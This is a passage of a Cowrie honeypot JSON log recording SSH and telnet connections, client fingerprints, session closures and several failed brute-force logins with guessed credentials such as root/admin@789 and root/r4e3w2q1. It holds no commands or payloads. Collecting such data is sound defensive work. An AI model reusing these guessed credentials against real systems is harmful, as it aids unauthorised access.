af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:07.038834Z","src_ip":"186.13.24.118","session":"5a91510b5b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@789","message":"login attempt [root/admin@789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:07.733669Z","src_ip":"186.13.24.118","session":"5a91510b5b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:08.901806Z","src_ip":"186.13.24.118","session":"5a91510b5b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50686,"dst_ip":"159.203.135.109","dst_port":22,"session":"3031064e27d7","protocol":"ssh","message":"New connection: 159.203.92.129:50686 (159.203.135.109:22) [session: 3031064e27d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:09.375396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:09.379981Z","src_ip":"159.203.92.129","session":"3031064e27d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:09.384333Z","src_ip":"159.203.92.129","session":"3031064e27d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alone","password":"123","message":"login attempt [alone/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:09.395888Z","src_ip":"159.203.92.129","session":"3031064e27d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58120,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf9d8023bb08","protocol":"telnet","message":"New connection: 159.203.13.64:58120 (10.17.0.5:23) [session: bf9d8023bb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:10.084812Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:10.403697Z","src_ip":"159.203.92.129","session":"3031064e27d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":32784,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d93084db3c","protocol":"telnet","message":"New connection: 159.203.13.64:32784 (10.17.0.5:23) [session: b2d93084db3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:11.437039Z"}
{"eventid":"cowrie.session.closed","duration":46.57898426055908,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:11.677585Z","src_ip":"159.203.13.64","session":"bb7ce58a6be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":32786,"dst_ip":"10.17.0.5","dst_port":23,"session":"77897e944955","protocol":"telnet","message":"New connection: 159.203.13.64:32786 (10.17.0.5:23) [session: 77897e944955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:14.385387Z"}
{"eventid":"cowrie.session.closed","duration":4.49819540977478,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:15.935286Z","src_ip":"159.203.13.64","session":"b2d93084db3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.63806962966919,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:18.382726Z","src_ip":"159.203.13.64","session":"7ade9b52e59a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.605791330337524,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:20.991038Z","src_ip":"159.203.13.64","session":"77897e944955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.71323800086975,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:21.322240Z","src_ip":"159.203.13.64","session":"ef7366043bb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36100,"dst_ip":"10.17.0.5","dst_port":23,"session":"b229bd840d54","protocol":"telnet","message":"New connection: 159.203.13.64:36100 (10.17.0.5:23) [session: b229bd840d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:24.090712Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36116,"dst_ip":"10.17.0.5","dst_port":23,"session":"96231679effe","protocol":"telnet","message":"New connection: 159.203.13.64:36116 (10.17.0.5:23) [session: 96231679effe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:24.662865Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36118,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a28378a4934","protocol":"telnet","message":"New connection: 159.203.13.64:36118 (10.17.0.5:23) [session: 1a28378a4934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:26.543298Z"}
{"eventid":"cowrie.session.closed","duration":3.8973634243011475,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:27.987982Z","src_ip":"159.203.13.64","session":"b229bd840d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.264607667922974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:29.074351Z","src_ip":"37.97.152.182","session":"975f0c83a641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44466,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f50491e0e1","protocol":"telnet","message":"New connection: 159.203.13.64:44466 (10.17.0.5:23) [session: a9f50491e0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:31.093897Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":41062,"dst_ip":"10.17.0.5","dst_port":23,"session":"228e659f0d25","protocol":"telnet","message":"New connection: 37.97.152.182:41062 (10.17.0.5:23) [session: 228e659f0d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:32.365499Z"}
{"eventid":"cowrie.session.closed","duration":47.5672082901001,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:33.436408Z","src_ip":"159.203.13.64","session":"1a5447b28893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8621fbf928","protocol":"telnet","message":"New connection: 37.97.152.182:41328 (10.17.0.5:23) [session: 9a8621fbf928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:33.850841Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44474,"dst_ip":"10.17.0.5","dst_port":23,"session":"17ab68336e4b","protocol":"telnet","message":"New connection: 159.203.13.64:44474 (10.17.0.5:23) [session: 17ab68336e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:34.604703Z"}
{"eventid":"cowrie.session.closed","duration":39.21022057533264,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:36.141140Z","src_ip":"159.203.13.64","session":"808d62bb8d12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.536596059799194,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:38.682222Z","src_ip":"159.203.13.64","session":"3c3e5ccfcdfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44488,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cae40e9fa18","protocol":"telnet","message":"New connection: 159.203.13.64:44488 (10.17.0.5:23) [session: 6cae40e9fa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:40.177624Z"}
{"eventid":"cowrie.session.closed","duration":3.082418918609619,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:43.259948Z","src_ip":"159.203.13.64","session":"6cae40e9fa18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":46906,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac8b7c854f50","protocol":"telnet","message":"New connection: 37.97.152.182:46906 (10.17.0.5:23) [session: ac8b7c854f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:44.378666Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35192,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e8a3e310d7","protocol":"telnet","message":"New connection: 159.203.13.64:35192 (10.17.0.5:23) [session: 83e8a3e310d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:44.718977Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":47298,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf72b8bbd411","protocol":"telnet","message":"New connection: 37.97.152.182:47298 (10.17.0.5:23) [session: cf72b8bbd411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:44.856843Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":46818,"dst_ip":"10.17.0.5","dst_port":23,"session":"be8d6de9b6a1","protocol":"telnet","message":"New connection: 37.97.152.182:46818 (10.17.0.5:23) [session: be8d6de9b6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:45.203248Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":48406,"dst_ip":"10.17.0.5","dst_port":23,"session":"740415b2f99c","protocol":"telnet","message":"New connection: 37.97.152.182:48406 (10.17.0.5:23) [session: 740415b2f99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:47.328841Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9e562fdcf95","protocol":"telnet","message":"New connection: 159.203.13.64:35198 (10.17.0.5:23) [session: a9e562fdcf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:50.281663Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55864,"dst_ip":"159.203.135.109","dst_port":22,"session":"0510b7eb1f01","protocol":"ssh","message":"New connection: 159.203.92.129:55864 (159.203.135.109:22) [session: 0510b7eb1f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:51.481996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:51.486768Z","src_ip":"159.203.92.129","session":"0510b7eb1f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:51.491078Z","src_ip":"159.203.92.129","session":"0510b7eb1f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alone","password":"123456","message":"login attempt [alone/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:51.505860Z","src_ip":"159.203.92.129","session":"0510b7eb1f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:52.521681Z","src_ip":"159.203.92.129","session":"0510b7eb1f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48542,"dst_ip":"10.17.0.5","dst_port":23,"session":"a39e268d4a0d","protocol":"telnet","message":"New connection: 159.203.13.64:48542 (10.17.0.5:23) [session: a39e268d4a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:52.752776Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48554,"dst_ip":"10.17.0.5","dst_port":23,"session":"f518e466f558","protocol":"telnet","message":"New connection: 159.203.13.64:48554 (10.17.0.5:23) [session: f518e466f558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:53.430027Z"}
{"eventid":"cowrie.session.closed","duration":32.897703409194946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:57.560455Z","src_ip":"159.203.13.64","session":"96231679effe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48558,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b2b5698242","protocol":"telnet","message":"New connection: 159.203.13.64:48558 (10.17.0.5:23) [session: 95b2b5698242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:58.279220Z"}
{"eventid":"cowrie.session.closed","duration":51.7647430896759,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:01.849470Z","src_ip":"159.203.13.64","session":"bf9d8023bb08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37142,"dst_ip":"10.17.0.5","dst_port":23,"session":"2394bfac546b","protocol":"telnet","message":"New connection: 159.203.13.64:37142 (10.17.0.5:23) [session: 2394bfac546b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:02.473969Z"}
{"eventid":"cowrie.session.closed","duration":30.765938997268677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:03.131331Z","src_ip":"37.97.152.182","session":"228e659f0d25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22589921951294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:04.076643Z","src_ip":"37.97.152.182","session":"9a8621fbf928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":37516,"dst_ip":"10.17.0.5","dst_port":22,"session":"828fdefeaef2","protocol":"ssh","message":"New connection: 45.78.194.242:37516 (10.17.0.5:22) [session: 828fdefeaef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:04.377981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:04.383844Z","src_ip":"45.78.194.242","session":"828fdefeaef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95617175102234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:05.560797Z","src_ip":"159.203.13.64","session":"17ab68336e4b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:05.576745Z","src_ip":"45.78.194.242","session":"828fdefeaef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r4e3w2q1","message":"login attempt [root/r4e3w2q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:06.902651Z","src_ip":"45.78.194.242","session":"828fdefeaef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.195276737213135,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:08.738310Z","src_ip":"159.203.13.64","session":"1a28378a4934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:09.814371Z","src_ip":"45.78.194.242","session":"828fdefeaef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":57426,"dst_ip":"10.17.0.5","dst_port":23,"session":"c136d2e02b06","protocol":"telnet","message":"New connection: 37.97.152.182:57426 (10.17.0.5:23) [session: c136d2e02b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:10.300475Z"}
{"eventid":"cowrie.session.closed","duration":41.60163855552673,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:12.695443Z","src_ip":"159.203.13.64","session":"a9f50491e0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":39230,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c742d6619b9","protocol":"ssh","message":"New connection: 186.13.24.118:39230 (159.203.135.109:22) [session: 8c742d6619b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:13.376943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:13.382176Z","src_ip":"186.13.24.118","session":"8c742d6619b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"